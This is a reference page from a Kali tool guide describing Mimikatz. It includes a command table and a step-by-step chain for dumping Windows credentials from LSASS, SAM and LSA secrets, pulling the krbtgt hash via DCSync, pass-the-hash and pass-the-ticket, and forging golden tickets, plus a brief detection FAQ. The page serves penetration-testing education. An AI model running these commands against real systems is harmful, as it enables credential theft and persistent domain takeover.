GO KALI FREE

Mimikatz

Post Exploitation

Advancedhigh risk

Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.

Installation

sudo apt install mimikatz

Basic Syntax

mimikatz # <command>

Quick Facts

Full Name
Mimikatz
License
Open Source
Language
C
Interface
CLI
Category
Credential Extraction
Requires
Administrator / SYSTEM

Tool Overview

Mimikatz is the definitive tool for Windows credential extraction and Kerberos manipulation. It exposes the inherent weaknesses in Windows authentication by demonstrating how credentials can be extracted from memory.

From plaintext passwords to forged Kerberos tickets, Mimikatz provides red teams with comprehensive post-exploitation capabilities for lateral movement and privilege escalation in Windows environments.

Common Commands

privilege::debugEnable SeDebugPrivilege, required before most credential-dumping commands
sekurlsa::logonpasswordsDump plaintext passwords, hashes and Kerberos tickets for logged-on users from LSASS
sekurlsa::logonpasswords fullDump all credential providers from LSASS with full detail
token::elevateImpersonate a SYSTEM token to gain the privileges needed for SAM/LSA access
lsadump::samDump the local SAM database (NTLM hashes of local accounts)
lsadump::secretsDump LSA secrets (service account passwords, cached data) from the registry
lsadump::lsa /injectInject into LSASS to dump all domain account hashes on a DC
lsadump::lsa /patchPatch LSASS to dump account NTLM hashes (works on a DC)
lsadump::dcsync /domain:example.com /user:krbtgtUse the DRS protocol to pull the krbtgt hash from a DC without touching LSASS
sekurlsa::pth /user:<USER> /domain:example.com /ntlm:<HASH> /run:cmd.exePass-the-Hash: spawn a process authenticated with an NTLM hash
sekurlsa::tickets /exportExtract all Kerberos tickets from LSASS and save them as .kirbi files
kerberos::ptt ticket.kirbiPass-the-Ticket: inject a Kerberos ticket into the current session
kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<HASH> /pttForge a Golden Ticket from the krbtgt hash and inject it
kerberos::list /exportList and export Kerberos tickets from the current session's cache
sekurlsa::ekeysExtract Kerberos encryption keys (AES/DES/RC4) from LSASS
sekurlsa::wdigestDump WDigest plaintext credentials from LSASS
sekurlsa::msvDump MSV (NTLM) credentials and hashes from LSASS
sekurlsa::krbtgtDisplay the krbtgt account keys from a domain controller's LSASS
vault::credList credentials stored in the Windows Credential Vault
vault::listEnumerate entries in the Windows Vault
crypto::capiPatch the CryptoAPI provider to make non-exportable keys exportable
sekurlsa::minidump lsass.dmpSwitch sekurlsa to read credentials from an offline LSASS minidump
misc::cmdLaunch a new command prompt from within mimikatz
log mimikatz.logLog all mimikatz output to a file for the session
versionDisplay the mimikatz version and build information

Step-by-Step Guide

  1. 1Secure an administrative session on the target machine
  2. 2Launch the application using those elevated rights
  3. 3Grant yourself debugging permissions within the console
  4. 4Extract authentication material from the memory space
  5. 5Leverage the retrieved hashes to authenticate elsewhere
  6. 6Forge Kerberos tickets to maintain long-term access

Use Cases

Password Extraction

Dump cleartext passwords from LSASS memory.

Pass-the-Hash

Authenticate using NTLM hashes without cracking.

Kerberos Attacks

Forge golden/silver tickets for persistence.

SAM Dump

Extract local account hashes from SAM database.

Key Features

Related Tools

CrackMapExec

Post Exploitation

CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.

Impacket

Post Exploitation

Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.

Evil-WinRM

Post Exploitation

Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.

BloodHound

Post Exploitation

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment, allowing attackers or defenders to identify complex attack paths.

Empire

Post Exploitation

Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.

Responder

Sniffing & Spoofing

Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.

Related Cybersecurity Guides

Active Directory · Advanced

Pass-the-Hash: Understanding NTLM Authentication Attacks

An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.

Active Directory · Advanced

Active Directory Fundamentals: Windows Network Domains

A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.

Active Directory · Advanced

Golden Ticket Attacks: Kerberos Ticket Forging Explained

Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.

Active Directory · Advanced

Kerberos Authentication and Attacks Explained: Active Directory Security Deep Dive

Kerberos authentication and attacks explained for penetration testers. Deep dive into TGT, TGS, KRBTGT account, Kerberoasting vs AS-REP roasting, and Golden Ticket attacks.

Frequently Asked Questions

What is Mimikatz used for?

Mimikatz is used for extracting Windows authentication credentials from memory, including plaintext passwords, NTLM hashes, Kerberos tickets, and PINs. It demonstrates the dangers of cleartext credential storage in Windows.

Does Mimikatz require administrator access?

Yes, most Mimikatz functions require elevated privileges (SYSTEM or local admin). The privilege::debug command enables the SeDebugPrivilege necessary for accessing LSASS process memory.

What is a golden ticket attack?

A golden ticket attack forges a Kerberos TGT (Ticket Granting Ticket) using the KRBTGT account hash. This provides persistent, unlimited access to any resource in the domain, bypassing password changes.

How can I detect Mimikatz usage?

Mimikatz can be detected by monitoring Event ID 4688 for process creation of mimikatz.exe, Sysmon for LSASS process access (Event ID 10), and by enabling Windows Defender Credential Guard which protects LSASS from memory dumping.

Tags

#post-exploitation#credentials#windows-security#lsass

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.